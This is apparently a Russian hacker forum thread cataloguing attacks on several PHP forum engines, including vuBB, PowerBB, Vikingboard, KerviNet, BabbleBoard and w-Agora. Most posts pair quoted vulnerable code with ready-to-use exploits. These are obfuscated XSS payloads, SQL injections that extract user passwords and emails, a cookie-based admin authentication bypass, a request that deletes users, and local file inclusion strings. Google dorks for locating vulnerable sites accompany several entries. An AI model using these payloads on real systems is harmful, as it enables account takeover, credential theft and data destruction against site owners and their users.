Форумы [Обзор уязвимостей в форумных движках]

Discussion in 'Уязвимости CMS/форумов' started by Grey, 15 Apr 2007.

  1. iddqd

    iddqd Banned

    Joined:
    19 Dec 2007
    Messages:
    637
    Likes Received:
    519
    Reputations:
    19
    vuBB 0.2.2 Beta
    Vendor: vubb.net

    Active XSS

    Есть возможность указать URL удаленной аватарки.
    Вставляем вместо адреса код:
    Code:
    javascript:eval(String.fromCharCode(97,108,101,114,116,40,120,115,115,41,59))
    Dork: "Copyright 2005-2006 vuBB"

    (с) iddqd
     
    #41 iddqd, 15 Dec 2008
    Last edited: 15 Dec 2008
  2. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    PowerBB 2.2.1

    PowerBB 2.2.1
    Сайт: http://powerwd.com/

    Cтарый проект (2006 год), который собрались реанимировать http://www.powerwd.com/forum/view_topic.php?id=868


    SQL-injection

    Уязвимый код:
    register.php
    PHP:
    . . .
    else if (isset(
    $_POST['form_sent']))
    {
      . . .
          if(isset(
    $_COOKIE["forumreferrer"]))
        {
            
    $referral_id $_COOKIE["forumreferrer"];
            
    $result $db->query('SELECT referral_count FROM '.$db->prefix.'users WHERE id='.$referral_id) or error('Invalid Member ID'__FILE____LINE__$db->error());
      . . .
    Переменная forumreferrer из куки не фильтруется. Инъекцию можно провести при регистрации нового пользователя

    Эксплуатация:
    Например отправляем пакет:
     
    #42 ElteRUS, 26 Apr 2009
    Last edited: 5 Jun 2009
    3 people like this.
  3. Roba

    Roba Banned

    Joined:
    24 Oct 2007
    Messages:
    237
    Likes Received:
    299
    Reputations:
    165
    /////////////////////////

    Vikingboard 0.1.2

    _http://vikingboard.com

    /////////////////////////

    Файл с данными для подключения к бд:

    /inc/drivers/sql/driver_MySQL.php​


    Структура базы:

    PHP:
     `PREFIX|member`
      `
    idint(11NOT NULL auto_increment,
      `
    namevarchar(50) default NULL,
      `
    passwordvarchar(50) default NULL,
      `
    emailvarchar(50) default NULL,
    Директории доступные на запись:
    /cache/​

    SQL - инъекция

    /members.php
    PHP:
    if (empty($_POST['order']))
        {
            
    $DESC 'DESC';
        }
        else
        {
            
    $DESC $_POST['order'];
        }
    /inc/drivers/sql/sql_MySQL.php
    PHP:
    function get_member_list($order$desc$showfrom$total)
        {
            
            
    $this->database->query("SELECT m.`id`, m.`name`, m.`posts`, m.`registred`, m.`homepage`, m.`title`, m.`group`, g.`g_name` 
                                FROM 
    {$this->prefix}member m, {$this->prefix}group g WHERE g.`id` = m.`group` 
                                ORDER BY m.`
    {$order}{$desc} LIMIT {$showfrom},{$total}");
            
    $this->queries++;
            return 
    $this->database;
        }
    Пример эксплоита:
    Code:
    POST /vig/members.php HTTP/1.0
    User-Agent: Opera/9.63 (Windows NT 5.1; U; ru) Presto/2.1.1
    Host: localhost
    Accept: text/html
    
    order=and if(ord(substring((select password from vboard_member where id=2),1,1))>5,1,(select id from vboard_pm))/*
    
    Актив XSS

    /post_parser.php
    PHP:
    //BBCode for images
    $post   =   preg_replace("#\[img\]([^\"']+?)\[/img\]#is""<img src=\"$1\" alt=\"\" />"$post);
    Code:
    [#img=javascript:eval(String.fromCharCode(97,108,101,114,116,40,39,120,115,115,39,41))]loleg![/img#]
    склеил с предыдущим постом

    Дорк: "Powered by Vikingboard"
     
  4. eLWAux

    eLWAux Elder - Старейшина

    Joined:
    15 Jun 2008
    Messages:
    860
    Likes Received:
    616
    Reputations:
    211
    KerviNet forum v 1.1

    KerviNet forum v 1.1
    dork: "Copyright KerviNet"

    Blind SQLinj & Auth Bypass
    /index.php
    PHP:
    if($_COOKIE['user_enter']=="auto") {
    $enter_login=$_COOKIE['enter_login'];
    $enter_parol=$_COOKIE['enter_parol'];
    $mysql->query("SELECT name, pass, status FROM users WHERE name = '".$enter_login."' AND pass = '".$enter_parol."'");
    exploit:
    Code:
    COOKIE: user_enter=auto
    COOKIE: enter_login = abc
    COOKIE: enter_parol = ' or name = (select name from users where id_user=1) and '1'='1';
    sqlQuery: SELECT name, pass, status FROM users WHERE name = 'abc' AND pass = '' or name = (select name from users where id_user<10 limit 1)
    и вы автоматом зайдете под админом, даже не зная его имени (:
    SQLinj
    /message.php
    PHP:
    9:  $topic=$_GET['topic'];
    18: if($topic) {
    69$mysql->query("SELECT name, viewing, voting, status, top_status, id_forum FROM topics WHERE id_topic = ".$topic);
    exploit:
    Code:
    /message.php?topic=-1+union+select+1,concat_ws(0x3a,id_user,name,pass,email),3,4,5,6+from+users
    SiXSS
    magic_quotes = Off
    /message.php
    exploit:
    Code:
    /message.php?topic=-1+union+select+1,'{XSS}',3,4,5,6+from+users
    aXSS
    /add_voting.php
    PHP:
    22$topic=$_GET['topic'];
    61: if($topic) {
    66:      $forum_edit->add_voting($time$topic$v_vopros$variants);
    74: }

    function 
    add_voting($time$topic$v_vopros$variants) {
    global 
    $user;
    global 
    $user_ip;
    if(
    $user) {
    global 
    $mysql;
    $mysql->query("UPDATE topics SET voting = 1 WHERE id_topic = ".$topic);
    $mysql->query("INSERT INTO v_name VALUES (0, '".$v_vopros."', ".$topic.")");
    $id_vname=mysql_insert_id();
    for(
    $i=0$i<count($variants); $i+=1) {
    $vr_nom=$i+1;
    $mysql->query("INSERT INTO v_variants VALUES (".$vr_nom.", '".$variants[$i]."', ".$id_vname.")");
    }
    }
    return 
    $id_vname;
    }
    exploit:
    Code:
    /add_voting.php?topic=1
    POST: add_voting = ok_add
    POST: v_vopros = v
    POST: v_variant1 = {XSS}
    POST: v_variant2 = v2
    удаление пользователей
    /admin/edit_user.php
    PHP:
    $del_user_id=$_POST['del_user_id'];
    $mysql->query("DELETE FROM users WHERE id_user = ".$del_user_id);
    exploit:
    Code:
    POST: del_user_id=(select user_id from users limit 1)
    Full path disclosure
    Code:
    /include_files/voting_diagram.php
    /include_files/voting.php
    /include_files/topics_search.php
    /include_files/topics_list.php
    /include_files/top_part.php
    /include_files/quick_search.php
    /include_files/quick_reply.php
    /include_files/moder_menu.php
    /include_files/messages_list.php
    /include_files/menu.php
    /include_files/head.php
    /include_files/forums_list.php
    /include_files/forum_statistics.php
    /include_files/forum_info.php
    /include_files/birthday.php
    /admin/head.php
     
  5. HAXTA4OK

    HAXTA4OK Super Moderator
    Staff Member

    Joined:
    15 Mar 2009
    Messages:
    946
    Likes Received:
    838
    Reputations:
    605
    Pehota_Forum v2.0b

    Активная XSS
    Сообщения,Уязвимое поле Тема

    посылаем сообщение любому пользователю, в поле Тема указываем <script>alert(/hiho/)</script>

    и при получение сообщения высвечивается alert :)

    ЗЫ еще есть активка при создание новой темы в самом форуме , но из за if (strlen($topic) > 25 and $topic != "") ограничения в 25 символов не возможно ее реализовать в целом,тока <script>alert()</script>
     
    _________________________
  6. ElteRUS

    ElteRUS Elder - Старейшина

    Joined:
    11 Oct 2007
    Messages:
    367
    Likes Received:
    460
    Reputations:
    93
    BabbleBoard 1.1.6

    Сайт: http://www.babbleboard.co.uk/
    Табличка с юзерами: members (name, password)
    Дефолтовый префикс: babbleboard_
    дорк: "Powered by BabbleBoard"

    Гугл выдал пару xss и csrf. Если я набоянил тут – сори

    Множественные LFI’и , вот некоторые

    mycontrols.php ( нужно быть зарегенным )
    PHP:
    include "includes/pages/mycontrols/" $_GET['act'] . ".php";
    index.php?page=mycontrols&act=../../../../robots.txt%00



    admin.php ( нужно быть админом)
    PHP:
    include "includes/pages/admin/" $_GET['act'] . ".php";
    index.php?page=admin&act= ../../../../robots.txt%00



    header.php
    PHP:
    if (isset($_COOKIE['bb_lang']) && (!isset($_COOKIE['bb_name']))) {
        
    $board_lang $_COOKIE['bb_lang'];

    // Get language files...
    include "lang/$board_lang/lang_forum.php";
    Редактируем куки bb_lang=../../../../../robots.txt%00


    structure.php
    PHP:
        $page $_GET['page'];
        
    $page escape_string($page);

        elseif (@include (
    "includes/pages/$page.php"))
    site.com/forum/index.php?page=../../../../robots.txt/././.[...]


    Пример: http://else-design.info/forum/index.php?page=../../../../robots.txt/././././.[...]/./.




    SQL-injection
    При меджик_квотес офф

    Уязвимый код:
    register.php
    PHP:
    } elseif ($_POST['form'] != '') {
    $query_email "select EMAIL from {$db_prefix}members WHERE EMAIL='".$_POST['email']."'";
                        
    $result_email mysql_query($query_email) or die("register.php - Error in query: $query_email");
                        
    $email_clash mysql_num_rows($result_email);
     
    Эксплуатировать инъекцию можно при регистрации, вставляя свой скл-код в поле email. Правда там есть такой злобный жаваскриптовский фильтр, который не даст нам зарегится, пока мы не удовлетворим его условия. В частности он проверяет чтобы был символ @ и не было запятых =) Можно отправить пакет вручную или состряпать например такой няшный запрос, чтобы обойтись без запятых


     
    #46 ElteRUS, 18 Nov 2009
    Last edited: 18 Nov 2009
  7. RulleR

    RulleR Elder - Старейшина

    Joined:
    12 Jun 2008
    Messages:
    166
    Likes Received:
    439
    Reputations:
    313
    w-Agora forum
    Web site : http://www.w-agora.com
    Version : 4.2.1


    Local File Inclusion

    Vuln file: globals.inc [str:169]
    PHP:
    /*...*/
    if (isset($_GET['lang']) ) {
        
    $lang strtolower($_GET['lang']);
    } elseif (isset(
    $_POST['lang'])) {
        
    $lang $_POST['lang'];
    } elseif (isset(
    $_COOKIE['wa_lang'])) {
        
    $lang $_COOKIE['wa_lang'];
    } elseif (isset(
    $_SERVER['HTTP_ACCEPT_LANGUAGE']) ) {
        
    $lang substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 02);
    } elseif (isset(
    $_COOKIE['lang'])) {
        
    $lang strtolower($_COOKIE['lang']);
    }
    /*...*/
    require ("$lang_dir/lang_$lang.inc");
    /*...*/
    Exploit:
    if magic_quotes = OFF
    Code:
    GET http://[COLOR=White][host][/COLOR]/[COLOR=White][path][/COLOR]/index.php HTTP/1.0
    Cookie: lang=[COLOR=White]/../../../../../../[/COLOR][COLOR=Green][local_file][/COLOR][COLOR=White]%00[/COLOR]
    -------------------------------------------
    w-Agora <= 4.2.1 (cat) Remote SQL Injection Vulnerability
     
    #47 RulleR, 28 Dec 2009
    Last edited: 28 Dec 2009
    2 people like this.
  8. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    XenForo
    Full Path Disclosure
    fb_channel.php?l[]=1

    PS: На античате тоже работало, но уже fixed :)